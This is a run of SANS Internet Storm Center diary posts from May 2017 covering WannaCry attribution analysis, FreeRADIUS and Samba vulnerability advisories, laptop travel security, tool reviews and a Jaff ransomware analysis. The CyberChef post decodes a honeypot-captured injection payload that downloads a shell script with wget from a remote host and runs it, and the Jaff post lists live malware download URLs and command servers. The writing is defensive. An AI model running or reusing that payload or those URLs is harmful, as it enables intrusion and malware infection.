Diaries

Published: 2017-05-31

Analysis of Competing Hypotheses, WCry and Lazarus (ACH part 2)

Introduction

In my previous diary, I did a very brief introduction on what the ACH method is [1], so that now all readers, also those who had never seen it before, can have a common basic understanding of it. One more thing I have not mentioned yet is how the scores are calculated. There are three different algorithms: an Inconsistency Counting algorithm, a Weighted Inconsistency Counting algorithm, and a Normalized algorithm [2]. The Weighted Inconsistency Counting algorithm, the one used in today’s examples, builds on the Inconsistency algorithm, but also factors in weights of credibility and relevance values. For each item of evidence, a consistency entry of “I” counts -1 against the corresponding hypothesis. Then, Credibility and Relevance are weighted as follows: L (Low) is assigned the value 0.707, M (Medium) is assigned the value 1, and H (High) is assigned the value 1.414 and then weight values are multiplied together to determine the aggregate weight for a each piece of evidence. The default table looks like the following:

Today, I will apply ACH to a recent quite known case: WCry attribution. There has been lots of analyses and speculations around it, lately several sources in the InfoSec community tied WCry strongly to Lazarus Group [3][4][5][6], while some others provided motivation for being skeptical about such attribution [7]. Therefore, it is a perfect case to show the use of ACH: several different hypotheses, facts, evidences and assumptions.

Digital Shadows WCry

ACH analysis About two weeks ago, Digital Shadows published a very well done post on ACH applied to WCry attribution [8]. Regarding possible attribution to Lazarus though, as stated on their post, “At the time of writing, however, we assessed there to be insufficient evidence to corroborate this claim of attribution to this group, and alternative hypotheses should be considered.” Therefore among the hypotheses considered is missing one specifically for Lazarus in place of a more generic “nation state or state affiliate actor.” The following are the four different hypotheses considered by Digital Shadows:

  • A sophisticated financially-motivated cybercriminal actor - H1
  • An unsophisticated financially-motivated cybercriminal actor - H2
  • A nation state or state-affiliated actor conducting a disruptive operation - H3
  • A nation state or state-affiliated actor aiming to discredit the National Security Agency (NSA) – H4

Plenty of evidences where also considered and the final ACH matrix resulted is the following:

Given the final scores computed, they have assessed that "though by no means definitive, a WannaCry campaign launched by an unsophisticated cybercriminal actor was the most plausible scenario based on the information that is currently available." Just one note on my side, from my calculation seems they have made a mistake, and H2 score should be -2.121 rather than -1.414. This does not change the final result, but brings H2 and H4 way closer.

My WCry ACH Analysis

Although the Digital Shadows analysis was a very good one, I felt something was missing, both on the hypotheses as well as on the evidences side. Particularly, in my opinion, I would add three more hypotheses.

When thinking about NSA being the final target of this, other than A nation state or state-affiliated actor aiming to discredit the NSA, I think that it should be considered also a (generic/unattributed) TA aiming at unveiling/exposing the extent of possible NSA network of compromised machines (H5). This is something one would expect from a hacktivist maybe, although it seems to be way more sophisticated than what hacktivist have got us used to. One difference with the H4 could be on the lack of supporting media narrative. While if one wants to discredit NSA would be ready to have a supporting media narrative, if the goal was simply to unveil and show to everyone the potential extent of NSA infected machines, the infection as it was would have been sufficient, given also the abundant media coverage it got. Although this may still be seen as too close to H4 to be a different hypothesis, I still do see a case for it.

The other hypothesis I’m considering is Shadow Brokers being behind it (H6). This because they had collected some big failures in the previous attempts of monetizing their dumps, as apparently not much credit was given to them or to the quality of their claims. The WCry incident proved the high quality of their leak. As one of the arguments for this, by timely coincidence as soon as the first Lazarus attribution started to come up, SB announced their “data dump of the month” service [9]. How many people will now think more about buying their offer?

Finally, I believe a specific hypothesis for Lazarus, other than generic nation state actor, is needed given the number of reports and evidence attributing WCry to it (H7). If I consider Lazarus, I consider financial gain as the motivation behind it, since historically this has been its focus and the ransomware is indeed a lucrative market. However, H7 would be inconsistent with the failed of decrypting after ransom was paid. This does not serve as good advertisement, and fewer victims would start paying once the rumor that files won’t be decrypted anyway spreads. Another inconsistency point for me would be the race condition bug related to the BTC addresses, given the quality of the Lazarus code we are used to. But I may be missing something here.

Also on the side of the evidences, in my opinion, there was missing some important pieces. First is the assumption of code reuse for deception purposes. Code reuse is way too probable, it happens all the times and its use as decoy cannot be ignored as one of the possibilities. Secondly, as also commented by others in the community, the element of distraction: while all security folks were chasing WCry, something else much stealthier was happening. While this maybe seen as rare event, it does happen and, again, is something to consider given the events.

The following is the resulting ACH matrix, with in red the new hypotheses and evidences I have added compared to Digital Shadows analysis.

Conclusions

While from the results above there seems to be a clear winner in H5, (generic/unattributed) TA aiming at unveiling/exposing the extent of possible NSA network of compromised machines, what I see in cases like this are three clear “losers”: H1, a sophisticated financially motivated attacker, H3, a nation state or state-affiliated actor conducting a disruptive operation, and H7, Lazarus Group. I would then focus on looking for other elements with regards to the hypothesis that are left in the refinement face.

Given that ACH is done better when multiple analysts contribute with their views, please share your feedback. As stated by the guys at Digital Shadows too, also my analysis is by no means definitive.

Finally, I’m sharing my Excel template I made and use to do ACH, for those who would like to experiment with it. You can find it here https://github.com/pstirparo/utils/blob/master/ACH_template-v0.4.xlsx

Happy Hunting,
Pasquale

 

References:

[1] – P. Stirparo, “Analysis of Competing Hypotheses (part 1)”, https://isc.sans.edu/forums/diary/Analysis+of+Competing+Hypotheses+ACH+part+1/22460/
[2] – Palo Alto Research Center, “ACH1.1: A Tool for Analyzing Competing Hypotheses”; http://www.pherson.org/PDFFiles/ACHTechnicalDescription.pdf
[3] – Neel Mehta, https://twitter.com/neelmehta/status/864164081116225536
[4] – Kaspersky, “WannaCry and Lazarus Group – the missing link?https://securelist.com/blog/research/78431/wannacry-and-lazarus-group-the-missing-link/
[5] – Symantec, “WannaCry: Ransomware attacks show strong links to Lazarus group”; https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
[6] – BAE Systems, “WanaCrypt0r RansomWorm”; https://baesystemsai.blogspot.ch/2017/05/wanacrypt0r-ransomworm.html
[7] – ICITech, “There's Proof That North Korea Launched the WannaCry Attack? Not So Fast! - A Warning Against Premature, Inconclusive, and Distracting Attribution”; http://icitech.org/theres-proof-that-north-korea-launched-the-wannacry-attack-not-so-fast-a-warning-against-premature-inconclusive-and-distracting-attribution/
[8] – Digital Shadows, “WannaCry: Analysis of Competing Hypotheses”; https://www.digitalshadows.com/blog-and-research/wannacry-an-analysis-of-competing-hypotheses/
[9] – The Shadow Brokers, “OH LORDY! Comey Wanna Cry Edition”, https://steemit.com/shadowbrokers/@theshadowbrokers/oh-lordy-comey-wanna-cry-edition

Pasquale Stirparo, Ph.D. @pstirparo

6 Comments

Published: 2017-05-30

FreeRadius Authentication Bypass

The RADIUS protocol was originally introduced to authenticate dial-up users.( "Remote Authentication Dial-In User Service). While dial-up modems are gone, RADIUS has stuck around as an all-around authentication protocol for various network devices. RADIUS itself assumes a secure connection, which was fine during dial-up days, but in modern networks, RADIUS usually relies on TLS. 

Today, Stefan Winter released details about a vulnerability in FreeRADIUS, an open source implementation of the RADIUS protocol, which can be used to authenticate successfully without ever sending valid credentials [1].

TLS can "resume connections." The server caches the session keys to make this possible, and if a client connects back with a known TLS session ID, the keys are retrieved from its cache and used. In itself, the features is not a big problem, and the feature is necessary to achieve optimal performance for TLS. Without being able to resume connections, the TLS handshake has to be established again.

However, the problem with FreeRADIUS is that it assumes that for resumed sessions, the "inner authentication," which is the actual RADIUS authentication, already succeeded. This is not always true. A session may be interrupted, and then resumed, before the authentication succeeded. 

The result is that an attacker can authenticate to a FreeRADIUS server by first connecting, then suspending and resuming the session. No credentials are necessary.

FreeRADIUS released an update. Version 3.0.14 is no longer vulnerable. If you can't patch right now, then you can also turn off TLS session caching by setting "enabled=no" in the cache section of the EAP module settings. The vulnerability has been assigned %%CVE:2017-9148%%.

A PoC exploit has been developed, but I have not seen it made public so far.

For details, see the original post by Stefan Winter

[1] http://seclists.org/oss-sec/2017/q2/342

 

---

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|

2 Comments

Published: 2017-05-29

Traveling with a Laptop / Surviving a Laptop Ban: How to Let Go of "Precious"

For a few months now, passengers on flights from certain countries are no longer allowed to carry laptops and other larger electronic devices into the cabin. Many news media reported over the last weeks that this policy may be expanded to flight from Europe, or to all flights entering the US. But even if you get to keep your laptop with you during your flight, it is difficult to keep it at your site when you travel. So regardless if this ban materializes or not (right now it looks like it will not happen), this is your regular reminder on how to keep your electronics secure while traveling.

Checking a laptop is considered inadvisable for a number of reasons:

- Your laptop is out of your control and could be manipulated. It is pretty much impossible to secure a laptop if an adversary has control of it for a substantial amount of time. These attacks are called sometimes called "evil maid attacks" in reference to having the laptop manipulated while it is stored in a hotel room.

- Laptops often are stolen from checked luggage. Countless cases have been reported of airport workers, and in some cases, TSA employees, stealing valuables like laptops from checked luggage.

- Laptops contain lithium batteries which are usually not allowed to be checked as there have been instances of them exploding (and this fact may very likely block the "laptop ban")

You are typically not allowed to lock your checked luggage. And even if you lock it, most luggage locks are easily defeated. The main purpose of a lock should be to identify tampering, not to prevent tampering or theft.

Here are a couple of things that you should consider when traveling with your laptop, regardless of where you keep it during your flight:

- Full disk encryption with pre-boot authentication. This is a must of any portable device, no matter where you are flying. You will never be able to fully control your device. Larger devices like laptops are often left unattended in a hotel room, and hotel safes provide minimal security.

- Power your device down. Do not just put it to sleep. For checked luggage, this may even prevent other accidents like overheating if the laptop happens to "wake up". But powering the laptop down will also make sure encryption keys can not be recovered from memory.

- Some researchers suggest covering the screws on your laptop in glitter nail polish. Take a picture before departure and use it to detect tampering.

- Take a "blank" machine, and restore it after arrival from a network backup. This may not be practical, in particular for international travel. But you could do the same with a disk backup, and so far, USB disks are still allowed as carry-on and they are easier to keep with you. Encrypt the backups.

- Take a "blank" machine and use a remote desktop over the network. Again, this may not work in all locations due to slow network speeds and high costs. But this is probably the most secure solution.

- If you are lucky enough to own a laptop with removable hard drive, then remove it before checking your luggage. 

- Before departure, setup a VPN endpoint that allows connections on various ports and via HTTP proxies (e.g. OpenVPN has a mode allowing this). You never know what restrictions you run into. Test the VPN before you leave!

Have a plan for what happens if your laptop is lost or stolen. How will you be able to function? Even if you do not have a complete backup of your laptop with you, a USB stick with important documents that you will need during your trip is helpful, as well as a cloud-based backup. You may want to add VPN configuration details and certificates to the USB stick so you can connect to one if needed. Be ready to use a "loaner" system for a while with unknown history and configuration to give a presentation, or even to use for webmail access. This is a very dangerous solution, and you should reset any passwords that you used on the loaner system as soon as possible. But sometimes you have to keep going under less than ideal circumstances. Of course, right now, you can still bring your phone onboard, which should be sufficient for e-mail in most cases. 

In general, this advice should be obeyed anyway when traveling. It is very hard to stay not leave your laptop unsupervised over a long trip. If you don't trust hotel safes (and you should not trust them), then it may make sense to bring your own lockable container like a Pelikan case with solid locks (Pelikan also makes a backpack that works reasonably well but is a bit bulky and heavy). Don't forget a cable to attach the case to something. Just don't skimp on the locks and again: The goal is to detect tampering/theft, not to prevent it. Any case that you can carry on an airplane can be defeated quickly with a hacksaw or a crowbar, and usually, it takes much less.

Also, see this Ouch! Newsletter about staying secure while "on the road":

https://securingthehuman.sans.org/newsletters/ouch/issues/OUCH-201502_en.pdf

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|

2 Comments

Published: 2017-05-28

Analysis of Competing Hypotheses (ACH part 1)

In threat intelligence, by definition, an analyst will most of the times have to perform assessments in an environment of incomplete information, and/or with information that is being produced with the purpose of misleading the analyst.

One of the well-known methodologies is the Analysis of Competing Hypotheses (ACH) [1], developed by Richards J. Heuer, Jr., a former CIA veteran. ACH is an analytic process that identifies a set of alternative hypotheses, and assesses whether data available are either consistent or inconsistent with each hypothesis. The hypotheses with most inconsistent data will be rejected. To quote Heuer’s words

ACH is a tool to aid judgment on important issues requiring careful weighing of alternative explanations or conclusions. It helps an analyst overcome, or at least minimize, some of the cognitive limitations that make prescient intelligence analysis so difficult to achieve.

It is very important to note that the goal of ACH is to reject as many hypotheses as possible, not to confirm any.

One of the advantages of using ACH is that it reduces analysts’ confirmation bias. In fact, a common pitfall during analysis usually is to form a hypothesis on our head and to look for evidences that support it, confirming indeed our initial line of thought following the “most likely” hypothesis. However, such approach does not take into account possible alternate hypotheses, as well as what other data is missing that should be there if that given hypothesis would be true. This is achieved by imposing the analyst to identify, and then refuse, as many competing hypotheses as possible using all data available.

How it works

ACH requires the analyst to collect all the related information and organize them in a matrix: all the hypotheses on the top (first row), and all the relevant information on the left side (the first column). In this way, every piece of information can be evaluated against each of the hypotheses, by assessing if it’s consistent or inconsistent. Heuer describes the full process in eight steps, which could be summarized as follow:

  1. Identify all hypotheses. Ideally, all hypotheses should be mutually exclusive, meaning that if one is true all the others must be false.
  2. Lists evidences and arguments relevant for and against each hypothesis. This has to include also assumptions and logical deductions.
  3. Create a matrix as described above and analyze each evidence against every hypotheses by defining whether is Consistent, Inconsistent or Not applicable / Not relevant, in an attempt to disprove as many hypotheses as possible. In Heuer words, analyze the “diagnosticity” of the evidence. Moreover, it is important to provide each evidence with a credibility and relevance level (i.e. high, medium or low), as it will help in the confidence of the final assessment.
  4. Refine the matrix: review the findings, identify any gaps, collect any additional evidence needed, delete evidences that have no diagnostic value.
  5. Draw tentative conclusions about the relative likelihood of each hypothesis, trying to disprove them. Less consistency implies a lower likelihood.
  6. Analyze the sensitivity of the analysis to few critical evidences.
  7. Report conclusions based on the likelihood of all hypotheses, not only the most likely one, presenting also a summary of alternatives that were considered and why they were rejected.
  8. Identify milestones for future observation

The following is an example of the final matrix from a post by Scott J. Roberts, where he applies ACH to understand whether or not the Republican National Committee and Donald J. Trump for President, Inc were victims of similar attacks as the Democratic National Committee [2]. In his post he goes step-by-step on how he created and refined his ACH matrix.

Conclusions

ACH is just one of the possible structured analytic techniques available. I personally like it very much and find it quite useful. But remember that while the matrix helps in creating a model for the analysis of problems with conflicting information and it generates a definitive mathematical total for each hypothesis, at the end it is still up to the analyst to use his/her judgment to make the final conclusion.

This was a very brief introduction of ACH, and in my next diary I will apply ACH to a practical recent case. But I definitely encourage those interested to go through Heuer’s book for a deeper explanation of such model.

Happy Hunting,
Pasquale

 

References:

[1] – Richards J. Heuer, Jr.; “Psychology of Intelligence Analysis”, Center for the Study of Intelligence, Central Intelligence Agency. https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/psychology-of-intelligence-analysis
[2] – Scott J. Roberts, “ACH Analysis of a Trump Campaign Compromise”, https://sroberts.github.io/2016/12/12/rnc-hack/

Pasquale Stirparo, Ph.D.
@pstirparo

2 Comments

Published: 2017-05-28

CyberChef a Must Have Tool in your Tool bag!

This multipurpose and feature rich tool has been available for a while now and is updated regularly. What I find the most interesting is the number of features that are available this tool.

CyberChef is fully portable and can be downloaded locally as an simple HTML self-contained page that can run in any browsers or if you prefer, you can download the package from Github and compile it yourself[2] but why bother. Since the code is updated regularly, I find the first option more practical. It contains a large number of Operations such as Encoding/Decoding, Logical Operations, Extractors and Hashing to name a few. Note, each one of these Operations expand into a large subset of tools. Here is the complete list of Operations:

For example, take this Web Hex encode data stream that I captured today in my Honeypot:

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `%63%64%20%2F%74%6D%70%3B%72%6D%20%2D%66%20%6E%6D%6C%74%31%2E%73%68%3B%77%67%65%74%20%2D%4F%20%6E%6D%6C%74%31%2E%73%68%20%68%74%74%70%3A%2F%2F%64%6F%6D%73%74%61%74%65%73%2E%73%75%2F%6E%6D%6C%74%31%2E%73%68%3B%63%68%6D%6F%64%20%2B%78%20%6E%6D%6C%74%31%2E%73%68%3B%2E%2F%6E%6D%6C%74%31%2E%73%68`&StartEPI=1

First, take copy the data from '%63%64[...]%73%68' and do a search and replace to remove the percent (%) from the data because CyberChef doesn't have an option to deal with the percent to ignore it. Paste the result into the Iput box and select From Hex to see the human readable text:

6364202F746D703B726D202D66206E6D6C74312E73683B77676574202D4F206E6D6C74312E736820687474703A2F2F646F6D7374617465732E73752F6E6D6C74312E73683B63686D6F64202B78206E6D6C74312E73683B2E2F6E6D6C74312E7368

The human readable form translate to:

cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh http://domstates.su/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh

If you have been looking for a multipurpose tool, this is the one. Give it a try!

[1] https://gchq.github.io/CyberChef/
[2] https://github.com/gchq/CyberChef
[3] https://encoder.secapps.com/

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

2 Comments

Published: 2017-05-26

File2pcap - A new tool for your toolkit!

One of our readers, Gebhard, submitted a pointer to a tool today, released by Talos, that I wasn't familiar with.  However, when I realized it could generate packets, I had to try it out.  Its called File2pcap.  The concept of the tool is that instead of having to download a file and capture the traffic in order to write detection content, the tool would simulate the download and generate the traffic that you would see.  You get a nice pcap in the end.  I took a relatively benign phishing pdf (it had a link in it) and used it for my test.  The tool doesn't have any documentation until you compile it and run it.  Here are your options:

 

I ran a few test scenarios with it.  One for HTTP and one for SMTP.  For the HTTP, I used the following command line and specified a file name:

./file2pcap -mh -p 45678:8443 Wire_transfer_Notification.pdf -o httpout.pcap
 
It shows you if its working verses just returning a command prompt:
"Writing to httpout.pcap"
 
You can see by the packets, it matches the ports I told it to use:
 
 
Here is what it looks like when you follow the TCP stream:
 
 
For the SMTP I ran the following command:
./file2pcap -ms Wire_transfer_Notification.pdf -o smptout.pcap
 
Here is the data from following the TCP stream:
 

 
 
I played with several of the options.  You can also run more than one protocol in a single command line (you can't specify a file name running multiple modes, it will generate them for you):
 
./file2pcap -msh Wire_transfer_Notification.pdf
Writing to Wire_transfer_Notification.pdf-smtp.pcap
Writing to Wire_transfer_Notification.pdf-http-get.pcap
 
 
This is a very handy tool to have when you need to generate packets quickly to write content for file transfer detection.  Its definately one I'll add to my toolkit!
 

 

0 Comments

Published: 2017-05-25

Critical Vulnerability in Samba from 3.5.0 onwards

Developers of Samba[1] disclosed a critical vulnerability that affects the file sharing component. Samba is a suite of tools that helps in the interoperability between UNIX with Microsoft Windows. The vulnerable component is the daemon that offers file sharing capabilities.

As reported by HD Moore on his Twitter account[2], it's trivial to trigger the vulnerability (just a one-liner exploit). An attacker has to find an open SMB share (TCP/445), upload a shared library to the writable share, and then cause the server to load and execute it. All versions of Samba from 3.5.0 onwards are vulnerable. The vulnerability is described in CVE-2017-7494[3]. The developers of Samba already released a patch which addresses this vulnerability[4].

In the meantime, a workaround is available. Add the parameter:

nt pipe support = no

to the "[global]" section of your smb.conf and restart smbd.

Samba is a very popular tool and used on many corporate networks, it is also a core component in many residential products like NAS. Many vendors could be affected (Synology, WD, Qnap, DLink, ...). Some vendors like Synology[5] already communicated about this issue and are working on a patch but others might take more time to react. Home users do not patch their products and many NAS could remain vulnerable for a long time.

As always, if you are exposing writable SMB shares for your users, be sure to restrict access to authorised people/hosts and do NOT share data across the Internet. They are risks that bad guys are already scanning the whole Internet.

[1] https://www.samba.org/
[2] https://twitter.com/hdmoore/status/867446072670646277
[3] https://www.samba.org/samba/security/CVE-2017-7494.html
[4] http://www.samba.org/samba/security/
[5] https://www.synology.com/en-global/support/security/Important_Information_Regarding_Samba_Vulnerability_CVE_2017_7494

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

1 Comments

Published: 2017-05-24

Jaff ransomware gets a makeover

Introduction

Since 2017-05-11, a new ransomware named "Jaff" has been distributed through malicious spam (malspam) from the Necurs botnet.  This malspam uses PDF attachments with embedded Word documents containing malicious macros.  Victims must open the PDF attachment, agree to open the embedded Word document, then enable macros on the embedded Word document to infect their Windows computers.


Shown above:  Flow chart for this infection chain.

Prior to Jaff, we've seen waves of malspam using the same PDF attachment/embedded Word doc scheme to push Locky ransomware.  Prior to that, this type of malspam was pushing Dridex.

With all the recent news about WannaCry ransomware, people might forget Jaff is an ongoing threat.  Worse yet, some people might not know about it at all since its debut about 2 weeks ago.  Jaff has already gotten a makeover, so an infected host looks noticeably different now.  With that in mind, today's diary reviews a wave of malspam pushing Jaff ransomware from Tuesday 2017-05-23.

The emails

This specific wave of malspam used a fake invoice theme.  It started on Tuesday 2017-05-23 as early as 13:22 UTC and lasted until sometime after 20:00 UTC.  I collected 20 emails for today's diary.


Shown above:  Image from the spreadsheet tracker for this malspam (1 of 2).


Shown above:  Image from the spreadsheet tracker for this malspam (2 of 2).


Shown above:  Screenshot from one of the emails.

As stated earlier, these emails all have PDF attachments, and each one contains an embedded Word document.  The Word document contains malicious macros designed to infect a Windows computer.


Shown above:  Opening one of the PDF attachments reveals an embedded Word document.


Shown above:  The embedded Word document with malicious macros.

The traffic

Follow the entire infection chain, and you'll see minimal network traffic compared to other types of malware.  The Word macros generate an initial URL to download an encoded Jaff binary, then we see one other URL for post-infection callback from an infected host.  The initial HTTP request for Jaff returns an encoded binary that's been XORed with the ASCII string I6cqcYo7wQ.  Post-infection traffic merely returns the string "Created" from the server after an infected host checks in.


Shown above:  Pcap from an infection filtered in Wireshark.


Shown above:  Encoded binary for Jaff ransomware retrieved by the Word macros.


Shown above:  Post-infection traffic from an infected host.


Shown above:  Alerts on the traffic using Security Onion with Suricata and the EmergingThreats Open ruleset.

The infected Windows host

The encoded binary from this wave of malspam was stored to the user's AppData\Local\Temp directory as lodockap8.  Then it was decoded and stored as levinsky8.exe in the same directory.  These file names change every day with each new wave of malspam.


Shown above:  The user's AppData\Local\Temp directory from an infected host on 2017-05-23.

On Tuesday 2017-05-23, Jaff ransomware had a makeover.  Prior to that, an infected Windows host looked like this:


Shown above:  Desktop of a Windows host infected with a Jaff ransomware sample before 2017-05-23.

The Windows host infected with a Jaff ransomware sample I saw on 2017-05-23 looked like this:


Shown above:  Desktop of a Windows host infected with a Jaff ransomware sample from 2017-05-23.

Encrypted files had been previously appended with the .jaff file extension.  On Tuesday 2017-05-23, encrypted files from my infected host were appended with a .wlu file extension.  My infected host asked for 0.35630347 bitcoin as a ransom payment.


Shown above:  Jaff decryptor from a Windows host infected on 2017-05-23.

Indicators of Compromise (IoCs)

The following are examples of email subject lines and attachment names from Tuesday 2017-05-23:

  • Subject: Invoice(00-5523)   --   Attachment name: 68-5182.pdf
  • Subject: Invoice(00-5832)   --   Attachment name: 72-6353.pdf
  • Subject: Invoice(08-4031)   --   Attachment name: 28-3137.pdf
  • Subject: Invoice(09-5337)   --   Attachment name: 98-9897.pdf
  • Subject: Invoice(19-9273)   --   Attachment name: 68-6414.pdf
  • Subject: Invoice(23-0458)   --   Attachment name: 53-3366.pdf
  • Subject: Invoice(27-7813)   --   Attachment name: 95-1750.pdf
  • Subject: Invoice(28-3137)   --   Attachment name: 68-4200.pdf
  • Subject: Invoice(53-3366)   --   Attachment name: 61-7808.pdf
  • Subject: Invoice(54-9434)   --   Attachment name: 78-8672.pdf
  • Subject: Invoice(61-7808)   --   Attachment name: 00-5832.pdf
  • Subject: Invoice(68-4200)   --   Attachment name: 98-3753.pdf
  • Subject: Invoice(68-5182)   --   Attachment name: 54-9434.pdf
  • Subject: Invoice(68-6414)   --   Attachment name: 27-7813.pdf
  • Subject: Invoice(72-6353)   --   Attachment name: 08-4031.pdf
  • Subject: Invoice(78-8672)   --   Attachment name: 23-0458.pdf
  • Subject: Invoice(88-6908)   --   Attachment name: 19-9273.pdf
  • Subject: Invoice(95-1750)   --   Attachment name: 00-5523.pdf
  • Subject: Invoice(98-3753)   --   Attachment name: 88-6908.pdf
  • Subject: Invoice(98-9897)   --   Attachment name: 09-5337.pdf

The following are examples of spoofed email senders from Tuesday 2017-05-23:

  • ALISA PICKARD <ALISA.PICKARD@ADAMSINSTALLATIONS.CO.UK>
  • ALYSSA BUTLING <ALYSSA.BUTLING@MATTRICHLING.COM>
  • CAROLYN BOSTON <CAROLYN.BOSTON@FLORIN.FR>
  • DENIS SENIOR <DENIS.SENIOR@INFOTEC.NO>
  • DUSTY HAMMOND <DUSTY.HAMMOND@EASTWELLIRONWORKS.CO.UK>
  • ELAINE BARKER <ELAINE.BARKER@SCHIONNINGDEVELOPMENT.DK>
  • FREDRIC RALLI <FREDRIC.RALLI@RVAGROCERYSHOPPER.COM>
  • GENA CLYDE <GENA.CLYDE@CORTE.CH>
  • HERMINIA UREN <HERMINIA.UREN@BIGBOYPUZZLES.COM>
  • JENNA LAMPET <JENNA.LAMPET@ALIF-INTERNATIONAL.COM>
  • LILLIE TRAVERS <LILLIE.TRAVERS@CHANGEAGENTS.BIZ>
  • LUPE FERN <LUPE.FERN@DWTAXPREP.COM>
  • MEAGAN FALKENBERG <MEAGAN.FALKENBERG@MIKEPRICE.INFO>
  • MICAH HOG <MICAH.HOG@SBINFRACON.COM>
  • MOLLIE BOSCAWEN <MOLLIE.BOSCAWEN@STRAYFAMILY.COM>
  • ROBIN PETER <ROBIN.PETER@JUSTPLUMBIT.CO.UK>
  • SILVIA GASKIN <SILVIA.GASKIN@RSDRUKKERIJ.NL>
  • TONY SCOWBY <TONY.SCOWBY@RELATIVITYCOMPUTING.COM>
  • VICKY GILLESPIE <VICKY.GILLESPIE@CASAXALTEVA.ORG>
  • VIOLET BAGBY <VIOLET.BAGBY@JAMES-FOLEY.CO.UK>

The following are examples of SHA256 hashes for the PDF attachments from Tuesday 2017-05-23:

  • 0218178eec35acad7909a413d94d84ae3d465a6ea37e932093ec4c7a9b6a7394
  • 0a326eb9a416f039be104bb5f199b7f3442515f88bd5c7ad1492b1721c174b8e
  • 21da9eeded9581f6f032dea0f21b45aa096b0330ddacbb8a7a3942a2026cc8ca
  • 4458f43127bb514b19c45e086d48aba34bf31baf1793e3d0611897c2ff591843
  • 66320f4e85e3d6bd46cf00da43ca421e4d50c2218cb57238abb2fb93bef37311
  • 7dd248652f2b42f3e1ad828e686c8ba458b6bb5b06cea46606ceccdd6b6e823c
  • 8a474cdd4c03dd4a6ba6ad8945bf22f74f2f41830203f846d5437f02292bb037
  • 956e43ece563fd46e6995fae75a0015559f0a63af5059290a40c64b906be5b9b
  • 9beb67a68396375f14099055b712e22673c9a1d307a76125186127e289ab41a2
  • b2b9c02080ae6fbe1845c779e31b5f6014ec20db74d21bd9dd02c444a0d0dd9b
  • c126e731c1c43d52b52a44567de45796147aca1b331567ed706bf21b6be936b4
  • cde2ff070e86bc1d72642cb3a48299080395f1df554e948fd6e8522579dfe861
  • daf01a1f7e34e0d47ecdfcef5d27b2f7a8b096b4e6bc67fb805d4da59b932411
  • e477300e8f8954ee95451425035c7994b984d8bc1f77b4ccf2a982bb980806fe

The following are examples of SHA256 hashes and file names for the embedded word documents from Tuesday 2017-05-23:

  • 084ee31e69053e66fafe6e1c2a69ffec015f95801ce6020f7765c56d6f3c23ff - PQQIDNQM.docm
  • 0855061389b62ec6a9b95552357ff7571ae5c034b304978a533c6cba06c3f9e8 - GYTKPVM.docm
  • 1f2598dc7a7b8f84307d8c2fa41f5550c320f8192cd41e50b47570d3836e6fcc - RNJSMOVS.docm
  • 2dbf9e1c412aa1ffd32a91043642eb9cc80772c87dbbce3dd098c57d917277fb - DLDD7LH.docm
  • 3f95a7eeb1965193a4e92862c10897e04708b37b793b8e45f890d019358214c0 - DC2ZPQ.docm
  • 56cd249ff82e9bb96a73262090bc6a299ead64d6c75161520e745c2066f22430 - KAR6WLU.docm
  • 795d8312749c122fa10a93c9f3aa1c0f4ffc081714c0ddb66c141334f8ef0633 - M4SQLA2.docm
  • 8906d10a48487d8240bddd0c0cb5c076e88104c86bdf871b0143d74b6df3cc98 - NQBCXP4.docm
  • 91aa966e837c4144a1294aa912a2162397f3a6df98cf336891d234e267cd919f - RNOHLIAFU.docm
  • 933fcc1bf90716abf7c4eaf29b520d2276df895fb4dd5a76be2a55028a4da94e - PCHLUPL.docm
  • a98782bd10004bef221e58abcecc0de81747e97910b8bbaabfa0b6b30a93b66b - Q1DOEY13.docm
  • ae244ca170b6ddc285da0598d9e108713b738034119bae09eaa69b0c5d7635f8 - TH1DZZPT.docm
  • bc0b2fbe4225e544c6c9935171a7d6162bc611a82d0c6a5f3d62a3f5df71cf8c - OLZNKWSOW.docm
  • c702deaa2fe03f188a670d46401e7db71628e74b0e5e2718a19e2944282e05cd - VUG3FBFO.docm

The following is the sample of Jaff ransomware I saw on Tuesday 2017-05-23:

The following are URLs generated by malicious macros from the embedded Word documents.  They're used to download the encoded Jaff ransomware binary:

  • billiginurlaub.com - GET /fgJds2U
  • david-faber.de - GET /fgJds2U
  • elateplaza.com - GET /fgJds2U
  • electron-trade.ru - GET /fgJds2U
  • fjjslyw.com - GET /fgJds2U
  • hr991.com - GET /fgJds2U
  • jinyuxuan.de - GET /fgJds2U
  • khaosoklake.com - GET /fgJds2U
  • minnessotaswordfishh.com - GET /af/fgJds2U
  • oliverkuo.com.au - GET /fgJds2U
  • pcflame.com.au - GET /fgJds2U
  • tdtuusula.com - GET /fgJds2U
  • williams-fitness.com - GET /fgJds2U

The following is post-infection traffic from my infected Windows host:

  • 185.109.147.122 port 80 - maximusstafastoriesticks.info - GET /a5/
  • rktazuzi7hbln7sy.onion (tor domain for the decryption instructions)

Final words

Much of this malspam is easy to spot among the daily deluge of spam most organizations receive.  However, this PDF attachment/embedded Word doc scheme is likely an attempt to bypass spam filtering.

As always, if your organization follows best security practices, you're not likely to get infected.  For example, software restriction policies that deny binary execution in certain Windows directories can easily stop this infection chain.  Even without software restriction policies, the intended victim receives warnings from both Adobe reader and Microsoft Word during the infection process.

So why do we continue to see this malspam on a near-daily basis?  I suppose as long as it's profitable for the criminals behind it, we'll continue to see this type of malspam.  If anyone knows someone who's been infected with Jaff ransomware, feel free to share your story in the comments section.

Emails, malware samples, and pcaps associated with the 2017-05-23 Jaff ransomware malspam can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

2 Comments

Published: 2017-05-23

What did we Learn from WannaCry? - Oh Wait, We Already Knew That!

In the aftermath of last week's excitement over the WannaCry malware, I've had a lot of "lessons learned" meetings with clients.  The results are exactly what you'd expect, but in some cases came as a surprise to the organizations we met with.  
There was a whole outcry about not "victim shaming" during and after this outbreak, and I get that, but in most cases infections were process failures that the IT group didn't know they had, these "lessons learned" sessions have contributed to improving the situation at many organizations.

The short list is below - affected companies had one or more of the issues below:


1/ Patch
